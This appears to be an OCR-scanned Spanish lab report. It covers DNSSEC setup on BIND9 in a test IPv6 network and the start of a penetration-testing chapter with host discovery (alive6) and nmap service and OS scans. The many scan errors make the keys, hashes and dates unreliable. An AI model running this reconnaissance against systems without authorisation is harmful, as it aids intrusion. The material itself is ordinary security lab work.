; <<>> DiG 9.10.3-P4-Debian <<>> @2001:12:7000::cafe:2 bancodk.com DNSKEY +multiline +noall +answer

; (1 server found)

;3 global options: +cmd

bancodk.com. 864000 IN DNSKEY 257 3 7 |
AWEAAb3xTBMULALRwbIomlu5GG+sGifkL136pDUNAico
dRCLda9FGTTL+BBbyh4ZGIYmEcCEUIG8vPo4W8vB]sev
TcYVKWhWCSD3gvAaE rHHUDX rpnBKx10t98adaaDBkKsU
/1rbg6o0pEVN4CAOLeKV+/LgZyCG1Q45T1BizL17W+gq
Y4Rm1Zy/SBOByJHGCKreKidHdkckve TFK/UKO]/IPQZ2
5zKEKAZp+MyD18HO0x9eTtgiHhhTpoqdXAJxsCBZ5LNA
fga/1TZRRWV1B] 1keXFFN/zA9z9z5ME/ sB7Xn591pelx
Ter+kRNWecUgDZc4038RFGV3CTIIVI0LF5QHVGTFec=
) ; KSK; alg = NSEC3RSASHALl; key id = 19230

bancodk.com. 864000 IN DNSKEY 256 3 7 (
AWEAAd3tBBWPE rH4XN/xJR58v fqZK2PU7pavRRtdwR4dg
JG2gMCVONFnvoyb674hEt/1hoh6IPcd/Lxo0Fuf6EZRU
U4FTUPJHb ZWX+90Vd jn7K2VTWe5xHYEWHL+uAgErttlc
z8kYEGYpZ90PT71nzBMS/GF506NkNA/xFBKThOLpNbej
) + ISK; alg = NSEC3RSASHAL; key id = 14579

root@dnsl:/etc/bind#

Consultando los registros DS de la zona hija transacciones.bancodk.com:

root@dnsl:/etc/bind# dig AAAA DS transacciones.bancodk.com
;3 Warning, extra type option

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA DS transacciones.bancodk.com
;i global options: +cmd

;3 Got answer:

;i ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7458

;3 flags: gr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: 1
;3 WARNING: recursion requested but not available

;3 OPT PSEUDOSECTION:
; EDNS: version: @, flags:; udp: 4096
;+ QUESTION SECTION:

;transacciones.bancodk. com. IN DS
transacciones.bancodk.com. 864600 IN DS 20310 7 2 O11330FFF634E2ALAGO02DIAB] 23AF575A018E42E546CSEAAEFBF 1E6 9547C22C |
transacciones.bancodk.com. 864000 IN DS 20319 7 1 51E6DIABIBO7DDF50853324E6A84E40FOE28DIAC

;3 Query time: @ msec

;3 SERVER: 2001:12:7000::cafe:2#53(2001:12:7000::cafe:2)
;3 WHEN: Tue Jun 85 12:59:54 -05 2018

;3 MSG SIZE rcvd: 138

Este comando muestra registros DNSKEY para el dominio o la zona
transacciones.bancodk.com:



root@dnsl:/etc/bind# dig aaaa DNSKEY bancodk.com @2001:12:7000::cafe:2 +dnssec +multiline
+: Warning, extra type option

; <<>> DiG 9.10.3-P4-Debian <<>> aaaa DNSKEY bancodk.com @2001:12:7000::cafe:2 +dnssec +multiline
;3 global options: +cmd

;; Got answer:

i+ ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50620

;+ Tlags: gqr aa rd; QUERY: 1, ANSWER: 4, AUTHORITY: ©, ADDITIONAL: 1

;3 WARNING: recursion requested but not available

3+ OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096
;3 QUESTION SECTION:

sbancodk. com. IN DNSKEY

;+ ANSWER SECTION:

bancodk.com. 864000 IN DNSKEY 257 3 7 (
AWEAAL3xTBMULALRwbIomlu5GG+sGifkL136pDUNAicO
dRCLda9FGTTL+BBbyh4ZGIYmEcCEUIGBVPo4W8vBQsev
7cYVKWhWC9D3gvAaErHHUDX rpnBKx10t908ad4aaDBkKsU
/1rbg6o0pEVN4CAOLeKV+/LgZyCG1Q4ST1BizL17W+gq
Y4Rm1Zy/SBOByJHGCK reKidHdkckve fFK/Uk0]/TPQZ2
5zKEKA2p+MyD10H00x9eTtgiHhhTpogdXAJxsCBZ5LNA
fga/iTZRRvV1B] 1keXFFN/zA9z9z5ME/ sB7XnS91pelx
Tcr+kRNWcUgDZc4038RFGY3CIIVLIOLF5QHVGTFe=
) ; KSK; alg = NSEC3RSASHAL; key id = 19230

bancodk. com. 864000 IN DNSKEY 256 3 7 (
AWEAAd3tBBWPErH4XN/xJR58v fqZK2PU7pavRRt4wR4g
JG2gMCVONFnvoyb674hEt/1hoh6IPcd/Lxo0Fuf6EZRU
U4FTUPJHbZWX+90Vd jn7K2VTWe5xHYEwHL+uAgErttlc
z8kYEGYpZ90OPT71nzBMS/GF506NKNA/ xFBKThOLpNbe j
) i ZSK; alg = NSEC3RSASHALl; key id = 14579

bancodk. com. 864000 IN RRSIG DNSKEY 7 2 864000 (
20180705161238 20180605161238 14579 bancodk.com.
VMGumU188wovUIRQ2BdZI6hwfIfhI4]yBobvfgd5djn5
FQh@aUBjHKUPxEK9IR090zKH/hBxmCDG+n7G22372Z¢cv9
8DH8daoe7FZDND9+JIkzERCIMXIi+BRLWgpp+I08sGLKE
MFyiCEtgCjUknZamoXMVxmDMK3M8IBFivCrXLnQ= )

bancodk. com. 864000 IN RRSIG DNSKEY 7 2 864000 (
20180705161238 20180605161238 19230 bancodk.com.
GCdC2Z21PE6OpYSt99uj6moBI8ETS5zmxUscIbc0Y /1]
rN6uB3HRH5 j Xv3WFOSDC4zCXVwPItcY+Y5TGYWBEGXN/
v63q/NilFgrVRUTHkcGBke8MgrSPrx@0u5sLsaMrviwoun
L/8DaZaHCvW/TBKTOKcrclnj2XAUEIVwWPc40620p2Hmk
iWXRFb/+zv8teiQwIpcLnkbKVaaijPzbjh9xFja8DXWc
v41ZiWzBTn1APbdfjMRORKWRDCRBFVsmCZgmHY/X88/K
5mGT/hgf4TIjMEO6RvvKkHH7p/ZdbaEEK3Z2] TB2DugAN
CbozLIIWGM3ktFCiz1rf9t70MTQRXE]i7g==

;3 WHEN: Tue Jun 05 13:06:40 —05 2018
;3 MSG SIZE rcvd: 934

SERVIDOR CAHE RECURSIVO CON DNSSEC

Configuracién del archivo named.conf.options:

Para permitir la validacion de DNSSEC en un servidor de nombres recursivo
Bind9, se agregan las siguientes lineas de configuracion:

root@cache: /etc/bind# nano named.conf.options
dnssec-enable yes;

dnssec-validation yes;
dnssec-lookaside auto;




Dnssec-enable (yes), indica soporte DNSSEC como servidor autoritativo de un
dominio (en los DNS primario/secundario).

Dnssec-validation, actica la validacion de respuestas DNSSEC como servidor
recursivo (en el DNS que usan nuestras maquinas como resolver).

Llaves de confianza y claves administradas

Para la configuracion del ancla de confianza, se debe reemplazar la clave
predeterminada (en el archivo bind.keys) del servidor recursivo, por la clave
publica (KSK) del servidor raiz que ya se habia configurado, de manera que el
servidor cache-recursivo podra validar la respuesta cuando un cliente realice por
primera vez una consulta externa a la organizacion:

root@cache:/etc/bind# 1s
|bind.ke§s, db.127 db.local named.conf named.conf.options
bind.keysl db.255 db.raiz named.conf.default-zones rndc.key

db.© db.empty db.root named.conf.local zones.rfcl918

De manera que se configura la clave manualmente colocandola en una
declaracion trusted-keys como se muestra a continuacion:

GNU nano 2.7.4 Fichero: bind.keys

trusted-keys {
. 257 3 7 "AWEAAZZKpDNIVRwv7LzTcOHY(QJs/BcUPoQKGgsyb8dx4BGGigTelZsVp N4rPnyidZDz

}i

Para realizar las pruebas con DNSSEC del servidor de la organizacion bancodk,
se configura manualmente la clave de confianza en el servidor recursivo-cache la
clave del servidor bancodk:

PRUEBAS DE CONFIGURACION DEL SERVIDOR CACHE-RECURSIVO COMO
VALIDADOR DE LAS RESPUESTAS DNSSEC:

trusted-keys {
bancodk.com. 257 3 7 "AwEAAed2yFLjqQ08omubkhdzof5CLBoTi8]kwekY4R71tng9yKjYmo+X 1d09J4gcshw:

}i

Ahora se puede realizar las consultas desde el servidor recursivo, para verificar
gue quedo bien configurado:

Usar dig para verificar
El Domain Information Groper ( dig ), por otro lado, es completamente compatible
con el estandar DNSSEC, y viene como parte de BIND. dig es una herramienta
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flexible para interrogar servidores de nombres DNS. Realiza basquedas de DNS y
muestra las respuestas que se devuelven desde los servidores de nombres que se
consultaron.

A continuacién se muestra el aspecto de los resultados al consultar el servidor
dns3 (2001:448:1024::2:37) preguntando por el dominio www.comunicate.com
luego de habilitar la validacion de DNSSEC, al ejecutar el siguiente comando:

Prueba desde el cliente

Cuando el cliente realiza una consulta se activa el bit AD, lo cual indica que el
servidor cache realiz6 de manera exitosa el proceso de validacion de la respuesta
DNS.

root@debian9:/home/dalia# dig AAAA bancodk.com +dnssec

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA bancodk.com +dnssec

;+ global options: +cmd
;i Got answer:

UERY, status: NOERROR, id: 3997

;i Tlags: gr rd ra ad; QYERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: 1

;+ OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4000
;3 QUESTION SECTION:

;bancodk. com. IN AAAA

;5 ANSWER SECTION:

bancodk. com. 230 IN AAAA 2001:12:7000: :cafe: 32

bancodk. com. 230 IN RRSIG AAAA 8 2 600 20180812011050 20180713001050 14643

bancodk.com. TtTSPrFy6LKFNCMKk+MYZK3LEO094TNmHzIcBx31tLhLczWbd++ja9n9C umU7cV5wTd7W7ueelPB8/15EZ0M
JuG+5pvN5HOULs j+2kSi2X1D8Th66 Aaurdo5cnSs75cfHaSbvnrPEwnD13N4VaStwoXP7xD1dOWZUr6k7IrP1 Ubo=

;1 Query time: 2 msec

7+ SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
i3 WHEN: Thu Jul 12 21:02:41 -05 2018

;3 MSG SIZE rcvd: 239

2. CONFIGURACION DE DNSSEC EN LOS SERVIORES DE LA RED
EXTERNA ( DE LA JERARQUIA DNS)

Configuracién servidor raiz
Se generan las claves y se firma la zona con el siguiente comando:

El —g para que se carguen los registros DS:

root@f:/etc/bind# dnssec-signzone -t -g -o . db.raiz /etc/bind/keys/K.*.private

Se puede ver g la zona raiz esté firmada:

erifying the zone using the following algorithms: RSASHA256

one fully signed:

lgorithm: RSASHA256: KSKs: 1 active, O stand-by, 0 revoked
Z5Ks: 1 active, 0 stand-by, 0 revoked

b.raiz.signed
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se comprueba el estado:

root@f:/etc/bind# /etc/init.d/bind9 status

bind9.service - BIND Domain Name Server

Loaded: loaded (/lib/systemd/system/bind9.service; enabled; vendor preset: enabled)

Active: since Thu 2018-88-16 16:36:48 -05; 55 ago

Docs: man:named(8)

Process: 2017 ExecStop=/usr/sbin/rndc stop (code=exited, status=0/SUCCESS)

Main PID: 2022 (named)
Tasks: 4 (Llimit: 4915)
CGroup: /system.slice/bind9.service
L2022 /fusr/sbin/named -f -u bind

ago 16 16:36:48 f.root-servers.net named[2822]: command channel listening on ::1#953
ago 16 16:36:48 f.root-servers.net named[2022]: managed-keys-zone: loaded serial 119
ago 16 16:36:48 f.root-servers.net named[2022]: zone /IN loaded serlal 2 (DNSSEC 51gned)
ago 16 16:36:48 f.root-servers.net named[20 - 0

ago 16 16:36:48 f.root-servers.net named[20}
ago 16 16:36:48 f.root-servers.net named[20ZZT~ - P H

ago 16 16:36:48 f.root-servers.net named[2022] zone e.b.e.b.f.0.0.0.0.0.0.0.0.0.0.0.f.2.0.0.0.0.5.0.1.0.0.2.1p6 arpa/IN: loaded serial 2
ago 16 16:36:48 f.root-servers.net named[2022]: zone localhost/IN: loaded serial 2

ago 16 16:36:48 f.root-servers.net named[2022]: all zones loaded

ago 16 16:36:48 f.root-servers.net named[2822]: running

PRUEBA DE FUNCIONAMIENTO CONSULTA CON DIG

root@f:/etc/bind# dig aaaa . +dnssec +multiline

<<>> DiG 9.10.3-P4-Debian <<>> a@aaa . +dnssec +multiline

;+ global options: +cmd

;s Got answer:

;3 -»>>HEADER=<<- opcode: QUERY, status: NOERROR, id: 48215

;+ Tlags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
+ 3 WARNING: recursion reqguested but not available

:+ OPT PSEUDOSECTION:
EDNS: wersion: 0, flags: do; udp: 4096
s QUESTION SECTION:

mr ome ome ome

IN AAAA

s+ ANSWER SECTION:

. 604800 IN AAAA 2001:500:2f::f:bebe:2

604800 IN RRSIG AAAA 8 0 604800 (
20180915203455 20180816203455 36276 .
YqEFFYTATBTEMPdP219C95LWopTp80eBBwm30TXaLlG7
S5AGQuUMBENzGsPI+PKIN/LOUFC+7 rH1i IWS5ZUwnTTIUVBuU
FvIL8tctOn9zQgaMOUDTieBnH8vtDhPOWAUKS500/bF1
YLsQj4mTFEeHb80zBNWUBaRnUWLNockzpZYxNtEiGe]joO
JhUQj26gLOvImOSDFyricHOQTikmTplT29js7FIVLghQ5
y6aRSA1Bynd4 LywBhJ1YQ5ELZEULVRTL830sYdjHiUD] 1
8xEvdOBgPeXwxtrkv3PZpIbBO10IhkZGgB6EMjGYE9ru
vrdTwp7kmWFLAUU7YFTvRGAQSYyzG63FyQ== )

;3 AUTHORITY SECTION:

. 604800 IN NS f.root-servers.net.

. 604800 IN RRSIG NS 8 © 604800 (
20180915203455 20180816203455 36276 .
kUidZzAKpABy2s/dSXUdZCx/cxnJIKFt40vBWdY2DBbp
FUdntHKTZ4yVEWPLvVVE0IbchAloMKTLyyIIR9qqgS8+
RRX3ndCDZ176q2CrdVIERQegEMXRNAMTEzpiYwot8Bh4
3F4gN8x5n1DO+1LNWA9xhdel2bpPHIPEDjurCv8ek0h96
UjXexXu5g6nabv5RhqPzbngcjSbvlJIDgAXdkHUcbaZ5AY
ULOKkIgUGstdvgB0all+e+173TR//Nrid8X1pz8ImLweh
OHzWkcTBOzyg2 LIMSHBKiGSWZORL1ICEBvzuFAjMAGCdT
Yzb+18])¥YD36kPTTcKTWp8ydhdicwbFjg8Q== )
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;+ ADDITIONAL SECTION:

T.root-servers.net. 604800 IN AAAA 2001:500:2f::T:bebe:2

T.root-servers.net. 604800 IN RRSIG AAAA 8 3 604800 (
20180915203455 20180816203455 36276 .
ZpJodAnV7ex0ksEcvc7sKixWsdERev4LWgAgPHImBaL9
uilNPGDhISPSjejT4DXIvrPUXVCPGaAhghRp0OSvp3bnz
Yy+qylzmgRPW3+HXzLuEQa@iz7PxRvkT18xK2e2jkTum
CHNxolFbVF8KPKTqyP5+h+KCzJHV42N402pLtgDvMEb+
MFBS5GnVo79sygnpoulpgjKGuWowVReeidlGZ7soCsos
UGEXXksrE2Un16yBULOFQYVph/1h51G9qTuuu7ilC4I01
5Y/gCadgKPY9dQT/h+WeEYwmAv7ipUDkd3uviRTtgsoL
HkKWya3SaXxSvI4AUUQuid+NTuyLNT/Sn8Q== )

;i Query time: @ msec

;3 SERVER: 2001:500:2f::T:bebe:2#53(2001:500:2f::T:bebe:2)
;3 WHEN: Thu Aug 16 16:44:52 -85 2018

;; MSG SIZE rcvd: 973

Configuracion del servidor COM

Antes de generar las claves se suben los registros DS de las zonas hijas a la zona

COM dentro del directorio /etc/bind:
root@a:/etc/bind# 1s

bind.keys db.caom db.root keys named.conf.options
db.0 db.empty |dsset-bancodk.com. named.conf rndc. key

db.127 db.local dsset-comunicate.com.| named.conf.default-zones zones.rfcl9138
db.255 db.revcom |dsset-networks. named.conf.local

root@a:/etc/bind#

Se generan las claves publica y privada con el algoritmo RSASHA256:
root@a:/etc/bind/keys# dnssec-keygen -a RSASHA256 -b 2048 -n ZONE com

Generating key pair............ e +++

Kcom.+008+26283

root@a:/etc/bind/keys# dnssec-keygen -T KSK -a RSASHA256 -b 4096 -n ZONE com

Generating key pair...... e e
Kcom.+008+15826

Ahora si se firma la zona con el siguiente comando:

root@a:/etc/bind# dnssec-signzone -3 2001050383F2BECA -H 20 -A -t -g -0 com db.com /etc/bind/keys/Kcom*.private

Se puede ver que la zona transacciones esta firmada:

Verifying the zone using the following algerithms:|R5A5HA25ﬁ.|
Zone fully signed:
Algorithm: RSASHA256: KSKs: 1 active, O stand-by, @ revoked

Z5Ks: 1 active, 0 stand-by, 0 revoked

Se puede ver que se han generado el archivo DS de la zona COM:

root@a:/etc/bind# cat dsset-con.
conm. IND5 15820 8 1 F51C9F8375202(5F4B733A2CB4BI7700EB269DET
com. IN DS 15826 8 2 BDD36942A107B21B70A580686D10F491F427206AC691AESTOE2CFACE (2322556

Una vez hecho lo anterior, se reinicia el servicio de BIND
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root@a:/etc/bind# /etc/init.d/bind9 restart
[ ok ] Restarting bind9 (via systemctl): bind9.service.

Y se comprueba su estado:

root@a:/etc/bind# /etc/init.d/bind9 status
bind9.service - BIND Domain Name Server
Loaded: loaded (/lib/systemd/system/bind9.service; enabled; vendor preset: enabled)
Active: since Thu 2018-88-16 15:53:30 -05; 55 ago
Docs: man:named(8)
Process: 2350 ExecStop=/usr/sbin/rndc stop (code=exited, status=0/SUCCESS)
Main PID: 2355 (named)
Tasks: 4 (limit: 4915)
CGroup: /system.slice/bind9.service
L2355 fusr/sbin/named -f -u bind

ago 16 15:53:30 a.gtld-servers.net named[2355]: managed-keys-zone: loaded serial 274

ago 16 15:53:30 a.gtld-servers.net named[2355]: zone @.in-addr.arpa/IN: loaded serial 1

ago 16 15:53:30 a.gtld-servers.net named[2355]: zone 127.in-addr.arpa/IN: loaded serial 1

ago 16 15:53:30 a.gtld-servers.net named[2355]: zone 255.in-addr.arpa/IN: loaded serial 1

ago 16 15:53:30 a.gtld-servers.net named[2335}+ = —reb-8-0-6-0-6-0-0-6-0-0-0-0-F3-0-8-3-9.5.0.1.0.0.2.ip6.arpa/IN: loaded serial 2
ago 16 15:53:30 a.gtld-servers.net named[23%5]: zone com/IN: loaded serial 2 (DNSSEC signed) 1

ago 16 15:53:30 a.gtld-servers.net named[2355]: zone localhost/IN: loaded serial 2

ago 16 15:53:30 a.gtld-servers.net named[2355]: all zones loaded

ago 16 15:53:30 a.gtld-servers.net named[2355]: running

ago 16 15:53:30 a.gtld-servers.net named[2355]: zone com/IN: sending notifies (serial 2)

PRUEBAS DE FUNCIONAMIENTO

Una vez terminada la configuracion , se realizan consultas con el comando dig
para ver el comportamiento de DNSSEC cuando se realiza una consulta a un
dominio firmado y otra a un dominio inexistente.

Conculta de un cliente al dominio inexistente coomunicate.com
root@CLIENTE:~# dig aaaa coomunicate.com +dnssec +multiline

;o o<=== DiG 9.9.5-89+debBul5-Debian <<=> gaaa coomunicate.com +dnssec +multiline
;3 9lobal options: +cmd

5 Got answer:

5o z=HEADFR=<- opcode: QUERY, status: MNXDOMAIN, id: 826

;i flags: qr rd ra; QUERY: 1, ANSWER: ©, AUTHORITY: 8, ADDITIOMWAL: 1

5 OPT PSEUDOSECTION:

; EDNS: wversion: 0, flags: do; udp: 4096
5 QUESTION SECTION:

rcoomunicate.com. IN AAAA

;3 AUTHORITY SECTION:

com. 10800 IM SO0A a.gtld-servers.net. admin.com. |
Z ; serial
6E4860 ; refresh (1 week)
2864000 ; retry (1 week 3 days)
2419200 ; expire (4 weeks)
EE4800 5 mindimum (1 week)
)

com. 16866 IM RRSIG SOA 8 1 604808 |

20180916191831 20180817191831 26283 com.
0y 7R3VZ20Q0cUywWATgry7 rxlBEgBEREO0s4yslUSDeMk 7k
hzE1L112Xj Ib1l rLYONL X x23WVtuCABGpR4+DCTK1sCIGd/
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4UMS14C0OSITQTGY7RPEGBVEKSSRPOINS .com. 10800 IW RRSIG NSEC3 8 2 604800 (
20186916191831 20180817191831 26283 com.
104axEBSz7 1 TwBY A7 x fnQvuBckBM3MLdlg42wIlaBADoRB
2igh2glkCbh5y4jz1LE0ga0/3NPpX/0G2PveTj9036cpuon
chDOAGCB rrAGpBsSHfvodE2wrTGVLEcsB4tpSAxey/cm
1Pvvaa2SikKNLNXannWalbmSVcuRdim/oRgZe rtavviely
SWXsyYZORBMLsCBXV+hc2oIkKkSuxInQzUtG8] o8Lcldm
mF4iWvek ILMaES0P83HNo19PBeFIWZ1hQI8b] J8/RVQM
21o07DglYWElzg7HEWL JUwPUobP It 4B3WU4cY ZSEAGNaR
qsB40wOycGHO+27Bt7C1b28I L1UmfWIEDMA== )
4UM914COSITQTGY7RPEGBVEKSSRPOINS .com. 10800 IN NSEC3 1 1 20 2001050303F2BECA |
71SRAPSLKKTNQKZ77AQUBS24PIBB94R4
NS DS RRSIG |
IS0HTDEBO324AINQNTEQEFSGIUGRASCE .com. 10808 IN RRSIG NSEC3 8 2 604800 |
20180916191831 20180817191831 26283 com.
COLCKofVXeGhVENYLFiz63P0kugbgnetasMXWLOygmZZ
T4UBUfOdB4hE+9IVWloWsbulQ73STM1x X0,/ nsG]j CSfmw
VuZQV3InxVyvtPk25z9RcEZkmgt BBnRF9X rd@RyQay Ow
24GKKF+Nrgs rAdUIZJACANAx FYUOwWwWT reGY fELTi0udTX
mripcEnfrixrhrVubD9TUlcRN+vHWt0460Vc37asel 7l
nvYVad4iRYMIhENSsDug/RN4QxFCr7FWRShpYM1nRudxP
aPdNSuoYbNEWETp34Awl / /y57TUTE0gaW FTWLLZhNSva
KADTAUZTLYIW1dmt97DYEy3Y faOPBApgnQ== )
IS0HTDEBO324AINONTEQEFSGIUGRASCE .com. 1@80@ IN NSEC3 1 1 20 2001050303F2BECA |

0JSCQF83I562L6HI7UIVEN3SRUTLSYNI .com. 16860 IN NSEC3 1 1 20 2001050303F2BECA (
POS3MOCVOIFIZ71SGO4HVIMY 1T IGERSE
NS SOA AAAA RRSIG DNWNSKEY NSEC3PARAM

;7 Query time: 44 msec

;: SERVER: 2001:12:7000::cafe:5#53(2001:12:7000: :cafe:s)

;; WHEM: Tue Sep 11 11:42:14 -05 2018

:: MSG SIZE  rewd: 1522

En la imagen se observa que al realizar una consulta por un dominio que no
existe, asi este firmada la cadena de confianza, el servidor cache No validara la

respuesta , de modo que no se activara el BIT AD.
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CAPITULO 1: RECOLECCION DE INFOMACION

PoC de Recolecciéon de Informacion sobre el escenario de pruebas
controlado cuando todo el sistema DNS es Centos?7.

Descripcion de la prueba

Se realiza el proceso de recoleccion sobre el escenario de pruebas controlado
IPv6 cuando todo el sistema DNS esta soportado sobre Centos7 , lo que
significa que los servidores DNS autoritarios de los diferentes dominios tanto
internos ( bancodk.com y tansacciones.bancodk.com) como los dominios
externos ( ., con, comunicate.com y networks.com) estdn sobre el sistema
operativos Centos7.

Este PoC de recoleccion de informacion es la primera actividad de la fase de
penetracion y en la cual se llevan a cabo tres tareas, identificacion de host
activos en el segmento de red, una vez se han determinado los host activos
dentro del segmento de red se procese a encontrar sistemas operativos,
servicios y versiones de los servicios activos en cada uno de los host y por
ultimo una vez se ha determinado que host soportan el servicio de DNS se
procede a identificar relaciones de direccion IP con nhombres de dominio que es
identificar en todo el sistema que servidor es autoritario de determinado
dominio.

1. Encontrar host activos en segmento de red.
Se busca determinar los host activos dentro de el segmento de red
utilizando las herramientas de Alive6

Nombre Encontrar host activos en el segmento de red.
Tipo de prueba Recoleccion de informacion

Herramienta Alive6

Descripcién

En esta PoC se busca encontrar host activos dentro del segmento de red
CAFE, red interna de la organizacién, utilizando la herramienta alive6

Resultado
Se obtiene como resultado que en el segmento de red CAFE se
encuentra activos 6 host en el momento de realizarse la prueba

e 2001:12:7000::cafe:1




e 2001:12:7000::cafe:35
e 2001:12:7000::cafe:33
e 2001:12:7000::cafe:32
e 2001:12:7000::cafe:13
e 2001:12:7000::cafe:34

Evidencia de la prueba de concepto y de los resultados obtenidos

:~# alive6 ethoe
e: 2001:12:7000::cafe:1 [ICMP echo-reply]
e: 2001:12:7000: :cafe: [ICMP echo-reply]
e: 2001:12:7000::cafe: [ICMP echo-reply]

e: 2001:12:7000::cafe:
e: 2001:12:7000: :cafe:

[ICMP parameter problem]
[ICMP echo-replyl]

&
3
e: 2001:12:7000::cafe:32 [ICMP echo-reply]
3
4

Scanned 1 address and found 6 systems alive

2. Encontrar sistemas operativos, servicios y versiones

Nombre Encontrar sistemas operativos, servicios y
versiones

Tipo de prueba | Recoleccion de informacion

Herramienta Nmap

Descripcion

En esta PoC se busca encontrar sistemas operativos, servicios y
versiones, utilizando la herramienta Nmap dentro del segmento de
red CAFE.

Resultado

La prueba de concepto se realiza sobre los host activos para

recolectar informacién sobre los mismos, de esta prueba se obtiene

que :

e El host 2001:12:7000::café:1 corre sobre un sistema Linux y
gue presta el servicio de router sobre los puertos 2601 y 2605

e El host 2001:12:7000::café:13 corre sobre un sistema Windows
posiblemente Windows 10 y con varios puestos abiertos entre
los cuales cabe destacar 80 para http, 443 para ssl/http y el y
el 3306 para mysq|

e El host 2001:12:7000::café:32 corre sobre un sistema Linux y
gue presta el servicio de DNS en version bind 9.9.4, ademas de




estar activo el servicio de ssh

El host 2001:12:7000::café:33 corre sobre un sistema Linux
y que presta el servicio de DNS en version bind 9.9.4,
ademas de estar activo el servicio de ssh
El host 2001:12:7000::café:34 corre sobre un sistema Linux
y que presta el servicio de DNS en version bind 9.9.4,
ademas de estar activo el servicio de ssh
El host 2001:12:7000::café:35 corre sobre un sistema Linux
y que presta el servicio de DNS en version bind 9.9.4,
ademas de estar activo el servicio de ssh

De los host activos se obtuvo también la direccion MAC de cada
uno de ellos

Evidencia de la prueba de concepto y los resultados obtenidos

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:1

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-22 21:20 EDT
Nmap scan report for 2001:12:7000::cafe:1

Host is up (0.00067s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

111/tcp open rpcbind 2-4 (RPC #100000)

rpcinfo:
program version port/proto service
100000 2,3,4 111/tcp rpcbind
100000 2,3,4 111/udp rpcbind
100024 1 37821/udp status
100024 1 38541/tcp status

179/tcp open tcpwrapped

2601/tcp open quagga Quagga routing software ©0.99.23.1 (Derivative of GNU Zebra)
2605/tcp open quagga Quagga routing software 0.99.23.1 (Derivative of GNU Zebra)
MAC Address: FO:4D:A2:DB:F2:CE (Dell)

Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details: Linux 3.13 - 4.1

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS

1

0.67 ms 2001:12:7000::cafe:1

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:13

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-22 21:26 EDT
Nmap scan report for 2001:12:7000::cafe:13
Host is up (0.0010s latency).

|
135/tcp open msrpc Microsoft wWindows RPC

443/tcp open ssl/http Apache httpd 2.4.33 ((Win32) OpenSSL/1.1.6h PHP/7.2.5)

: 994 closed ports

STATE SERVICE VERSION

open http Apache httpd 2.4.33 ((Win32) OpenSSL/1.1.6h PHP/7.2.5)
http-server-header: Apache/2.4.33 (Win32) OpenSSL/1.1.6h PHP/7.2.5
http-title: 400 Bad Request

http-server-header: Apache/2.4.33 (Win32) OpenSSL/1.1.6h PHP/7.2.5
http-title: 400 Bad Request

ssl-cert: Subject: commonName=localhost

Not valid before: 2009-11-10T23:48:47

Not valid after: 2019-11-08T23:48:47

ssl-date: TLS randomness does not represent time

445/tcp open microsoft-ds Windows 10 Pro 17134 microsoft-ds (workgroup: RYST)
3306/tcp open mysql MariaDB (unauthorized)
3389/tcp open ms-wbt-server Microsoft Terminal Services

ssl-cert: Subject: commonName=ryst4.ryst

Not valid before: 2018-05-17T17:18:31

Not valid after: 2018-11-16T17:18:31

ssl-date: 2018-06-23T01:26:53+00:00; +13s from scanner time.




Network Distance: 1 hop
Service Info: Host: RYST4; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| _clock-skew: mean: 12s, deviation: 0s, medi 12s
| smb-os-discovery:

| 0S: Windows 10 Pro 17134 (Windows 10 Pro 6.3)

| 0S CPE: cpe:/o:microsoft:windows 10::-

| Computer name: ryst4

| NetBIOS computer name: RYST4\x00

| Domain name: ryst

| ryst

| yst

| 2018-06-22T20:26:55-05:00

| smb-security-mode:

| account_used: guest

| authentication level: user

| challenge response: supported

| _ message signing: disabled (dangerous, but default)
| smb2-security-mode:

| 2.e02:

| Message signing enabled but not required

| smb2-time:

| date: 2018-06-22 21:26:56

| start date: 1600-12-31 19:03:58

ADDRESS
1.03 ms 2001:12:7000::cafe:13

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.77 seconds

:~# nmap -6 -A -0 -sV 2001:12:76000::cafe:35

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-22 21:21 EDT
Nmap scan report for 2001:12:7000::cafe:35
Host is up (0.0014s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 7d:15:04:1b:0a:49:ad:04:8e:a7:be:57:bb :bf (RSA)
| 256 04:58:30:b3:b5:¢6:75:¢7:72:f5:1b:55:03:48:4a:2d (ECDSA)
| 256 10:88:c8:d2:52:d9:17:11:74:08:32:8d:a5:¢c8:c0:89 (EdDSA)
53/tcp open domain ISC BIND 9.9.4
| dns-nsid:
| bind.version: 9.9.4-RedHat-9.9.4-51.el7 4.2
MAC Address: ©8:00:27:C3:5B:61 (Oracle VirtualBox virtual NIC)

: general purpose

Linux 3.X
cpe:/o:linux:linux_kernel:3

0S details: Linux 3.12 - 3.18
Network Distance: 1 hop
Service Info: 0S: Red Hat Enterprise Linux 7; CPE: cpe:/o:redhat:enterprise linux:7

[ TRACEROUTE
HOP RTT ADDRESS
1 1.44 ms 2001:12:7000::cafe:35

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 25.41 seconds

# nmap -6 -A -0 -sV 2001:12:7000::cafe:33

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-22 21:23 EDT
